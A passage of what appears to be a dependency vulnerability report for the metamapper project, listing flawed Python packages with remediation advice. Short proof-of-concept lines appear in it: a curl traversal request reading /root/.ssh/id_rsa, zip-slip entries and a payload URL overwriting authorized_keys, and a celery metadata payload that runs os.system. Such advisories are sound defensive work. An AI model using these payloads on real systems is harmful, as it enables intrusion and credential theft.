  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper celery@4.4.6 kombu@4.6.11 importlib-metadata@4.11.3 zipp@3.8.0
    Remediation: Upgrade to celery@5.4.0.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: certifi
  • Introduced through: certifi@2021.10.8, elasticsearch@7.9.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper certifi@2021.10.8
    Remediation: Upgrade to certifi@2022.12.7.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 certifi@2021.10.8
    Remediation: Upgrade to elasticsearch@8.0.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 certifi@2021.10.8
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 certifi@2021.10.8
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity resulting in Certifi root certificate removal from TrustCor. The root certificates are being removed pursuant to an investigation prompted by media reporting that TrustCor's ownership also operated a business that produced spyware.

Remediation

Upgrade certifi to version 2022.12.7 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: setuptools
  • Introduced through: gunicorn@20.1.0 and snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper gunicorn@20.1.0 setuptools@40.5.0
    Remediation: Upgrade to gunicorn@20.1.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 setuptools@40.5.0
    Remediation: Upgrade to snowflake-connector-python@3.0.1.

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

medium severity

Insertion of Sensitive Information into Log File

  • Vulnerable module: snowflake-connector-python
  • Introduced through: snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3
    Remediation: Upgrade to snowflake-connector-python@3.12.3.

Overview

snowflake-connector-python is a Snowflake Connector for Python

Affected versions of this package are vulnerable to Insertion of Sensitive Information into Log File due to the logging of sensitive information when the logging level is set to DEBUG. An attacker can access sensitive data such as Duo passcodes and Azure SAS tokens by obtaining access to the logs.

Note: If the SecretDetector logging formatter is enabled, could lead to incomplete JWT tokens and certain private key formats.

Remediation

Upgrade snowflake-connector-python to version 3.12.3 or higher.

References

medium severity

Stored Command Injection

  • Vulnerable module: celery
  • Introduced through: celery@4.4.6

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper celery@4.4.6
    Remediation: Upgrade to celery@5.2.2.

Overview

Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.

PoC

Example of modified metadata as stored in the result stores:

'status': 'FAILURE',
'result': json.dumps({
  'exc_module': 'os',
  'exc_type': 'system',
  'exc_message': 'id'
  })
}

Reproduction steps in a Python shell:

from celery.backends.base import Backend
from celery import Celery
b = Backend(Celery())
exc = {'exc_module':'os',  'exc_type':'system', 'exc_message':'id'}
b.exception_to_python(exc)

The result would be an output of os.system('id').

Remediation

Upgrade celery to version 5.2.2 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@41.0.4.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). The POLY1305 MAC (message authentication code) implementation might corrupt the internal state of applications on the Windows 64 platform when running on newer X86_64 processors supporting AVX512-IFMA instructions. If an attacker can influence whether the POLY1305 MAC algorithm is used in an application, the application state might be corrupted with various application dependent consequences, the most likely of which being denial of service. The maintainers are currently not aware of any concrete application that would be affected by this issue.

NOTES:

This vulnerability is only exploitable on Windows.

The FIPS provider is not affected by this issue.

Workaround

Disable AVX512-IFMA instructions by setting the environment variable OPENSSL_ia32cap: OPENSSL_ia32cap=:~0x200000

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.4 or higher.

References

medium severity

Improper Check for Unusual or Exceptional Conditions

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.16.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions due to unhandled email sending failures in the django.contrib.auth.forms.PasswordResetForm class. This allows attackers to enumerate user email addresses by brute forcing password reset requests and observing the outcomes.

Remediation

Upgrade django to version 4.2.16, 5.0.9, 5.1.1 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.14.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Timing Attack via the django.contrib.auth.backends.ModelBackend.authenticate() method. This allows remote attackers to enumerate users via a timing attack involving login requests for users with unusable passwords.

Remediation

Upgrade django to version 4.2.14, 5.0.7 or higher.

References

medium severity

Expected Behavior Violation

  • Vulnerable module: grpcio
  • Introduced through: grpcio@1.44.0, google-cloud-bigquery@3.0.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio@1.44.0
    Remediation: Upgrade to grpcio@1.58.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 grpcio@1.44.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio-status@1.44.0 grpcio@1.44.0
    Remediation: Upgrade to grpcio-status@1.57.0.

Overview

Affected versions of this package are vulnerable to Expected Behavior Violation via the HPackParser function when the gRPC client is communicating with an HTTP/2 proxy, allowing the attacker to poison the HPACK table. By manipulating the header encoding and poisoning the HPACK table between the proxy and the backend, an attacker can cause other gRPC clients to see failed requests or potentially leak HTTP header keys but not their values.

This vulnerability exists because the error status for a misencoded header is not cleared between header reads, resulting in subsequent (incrementally indexed) added headers in the first request being poisoned until cleared from the HPACK table.

Remediation

Upgrade grpcio to version 1.58.3, 1.59.5, 1.60.2, 1.62.3, 1.63.2, 1.64.3, 1.65.4 or higher.

References

medium severity

Resource Exhaustion

  • Vulnerable module: idna
  • Introduced through: idna@3.3, requests@2.27.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper idna@3.3
    Remediation: Upgrade to idna@3.7.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 idna@3.3
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 idna@3.3
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 idna@3.3
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 idna@3.3
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 idna@3.3
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 idna@3.3
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 idna@3.3
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 idna@3.3
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 idna@3.3
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 idna@3.3
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the idna.encode function. An attacker can consume significant resources and potentially cause a denial-of-service by supplying specially crafted arguments to this function.

Note: This is triggered by arbitrarily large inputs that would not occur in normal usage but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

Remediation

Upgrade idna to version 3.7 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: certifi
  • Introduced through: certifi@2021.10.8, elasticsearch@7.9.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper certifi@2021.10.8
    Remediation: Upgrade to certifi@2024.7.4.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 certifi@2021.10.8
    Remediation: Upgrade to elasticsearch@8.0.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 certifi@2021.10.8
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 certifi@2021.10.8
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity due to the presence of the root certificate for GLOBALTRUST in the root store. The root certificates are being removed pursuant to an investigation into non-compliance.

Remediation

Upgrade certifi to version 2024.7.4 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: requests
  • Introduced through: requests@2.27.1, google-api-core@2.7.2 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1
    Remediation: Upgrade to requests@2.31.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

  1. HTTP → HTTPS: leak

  2. HTTPS → HTTP: no leak

  3. HTTPS → HTTPS: leak

  4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.9, botocore@1.24.41 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper urllib3@1.26.9
    Remediation: Upgrade to urllib3@1.26.19.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to botocore@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to s3transfer@0.10.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.9, botocore@1.24.41 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper urllib3@1.26.9
    Remediation: Upgrade to urllib3@2.5.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to botocore@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to s3transfer@0.10.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
